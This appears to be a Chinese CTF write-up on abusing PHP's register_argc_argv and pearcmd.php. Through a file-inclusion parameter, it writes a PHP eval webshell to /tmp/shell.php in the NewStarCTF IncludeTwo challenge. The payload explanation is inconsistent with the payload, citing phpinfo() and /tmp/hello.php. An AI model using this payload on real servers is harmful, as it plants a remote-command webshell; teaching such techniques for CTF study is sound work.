关于pearcmd的探索与利用

register_argc_argv配置

什么是register_argc_argv?

register_argc_argv配置项打开(on)时,系统会自动将命令行输入的参数信息存入 $argc$argv$_SERVER['argv'] 这几个变量中,无需手动处理。(仅限命令行模式(CLI))

例如,执行 php script.php user1 123 这样的命令时:

$argc 会自动得到值 3(表示总共有 3 个参数:脚本名本身 + 两个输入参数)

$argv 会自动成为数组 ['script.php', 'user1', '123']

$_SERVER['argv'] 会和 $argv 完全相同

简单来说这个配置项的作用就是自动解析命令行参数并赋值给特定变量,让开发者可以直接在脚本中使用这些变量来获取参数信息,无需编写额外的参数解析代码,同时也使得用户在输入时无需考虑底层代码解析,可以更专注于自身代码逻辑。

register_argc_argv的开启

(1)在命令行模式下,register_argc_argv会开启,因为命令行脚本通常需要处理参数,默认开启可简化开发。(2)但在web服务器模式下是关闭的,因为web服务器是通过$_GET/$_POST 等变量处理 HTTP 参数,无需命令行参数机制

Docker环境下的PHP会开启register_argc_argv这个配置。(1)

web服务器下利用register_argc_argv

屏幕截图 2025-07-22 110036

根据RFC3875的规定,如果query-string中不包含没有编码的=,且请求是GET或HEAD,则query-string需要被作为命令行参数。也就是说,可以通过特殊的方式实现在web服务器下使用http协议传递命令行参数,换句话说就是我们可以通过GET传参使用系统命令(可以调用pear命令)

注:

query-string 是 URL 中 ? 后面的部分,例如:

(1)在 URL http://example.com/search?keyword=php&page=1 中,keyword=php&page=1 就是 query-string。

(2)它通常由一组 键=值 对组成,不同键值对之间用 & 分隔(如 key1=val1&key2=val2)。

pearcmd.php

什么是pearcmd.cmd?

PEAR是是 PHP 的扩展与应用库仓库(PHP Extension and Application Repository),提供了大量可复用的 PHP 库和工具,方便开发者安装和管理第三方 PHP 资源。而 pearcmd.php 是 pear 工具的核心执行文件,是具体实现 pear 功能的脚本。当用户在命令行中使用 pear 命令(如安装、更新扩展)时,实际上是通过调用 pearcmd.php 来完成相关操作的。(PEAR的使用前提register_argc_argv必须开启)

pear中可以利用的参数

屏幕截图 2025-07-22 110836

config-create 是 PEAR 工具的一个合法命令,用途是根据一个 “模板文件” 生成 PEAR 的配置文件

语法为:pear config-create <模板路径> <目标文件路径>

其中:

模板路径:指一个已存在的文件路径,PEAR 会读取该文件的内容作为配置模板(通常是 PEAR 的默认配置模板)。

目标文件路径:指生成的新配置文件的保存路径。

pearcmd.php的利用

说明:

由前两个模块可以知道,我们可以轻易的使用一些特殊的构造方法通过GET传参来调用系统命令,即pear命令,进而写入文件。(PEAR依赖register_argc_argv的开启)

接下来,我将以[NewStarCTF 公开赛赛道]IncludeTwo为例,讲解pearcmd.php的利用

例题:

paylaod:

?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=@eval($_POST['cmd']);?>+/tmp/shell.php

代码解释:

  • +config-create+
    这是 PEAR 的一个合法命令 config-create,用于创建 PEAR 的配置文件,语法通常为 config-create <模板路径> <目标文件路径>
    这里用 + 替代空格(URL 编码中,+ 常表示空格),模拟命令行中的空格分隔参数。
  • /
    作为 config-create 命令的第一个参数(模板路径),此处为根目录(无实际意义,仅为占位)。
  • &file=/usr/local/lib/php/pearcmd.php
    这是构造的一个参数,尝试指定 pearcmd.php 的路径(可能用于让服务器定位该脚本)。& 是 URL 中分隔参数的符号。
  • /<?=phpinfo()?>+
    这是核心恶意部分:
    • <?=phpinfo()?> 是 PHP 短标签语法,用于执行 phpinfo() 函数(输出服务器 PHP 配置信息,属于敏感信息)。
    • 这里将其作为 config-create 命令的输入内容,试图将这段 PHP 代码写入目标文件。
  • /tmp/hello.php
    这是攻击者指定的目标文件路径,即希望将恶意代码写入 /tmp/hello.php 文件。

(1)先抓包在添加payload

屏幕截图 2025-07-22 153445

(2)写入文件成功,访问文件,POST传参寻找flag

屏幕截图 2025-07-22 153605

注意:

先抓包再添加paylaod的原因:在搜索框传参PHP代码时,php代码的符号会被url编码,服务器收到的是编码,不会把它看作代码解析。
所以需要通过传参上传php代码时,使用抓包程序进行上传,防止被编码。
借鉴p神的文章:https://tttang.com/archive/1312/#toc_0x06-pearcmdphp

posted @ 2025-07-22 15:48  shhl  阅读(75)  评论(0)    收藏  举报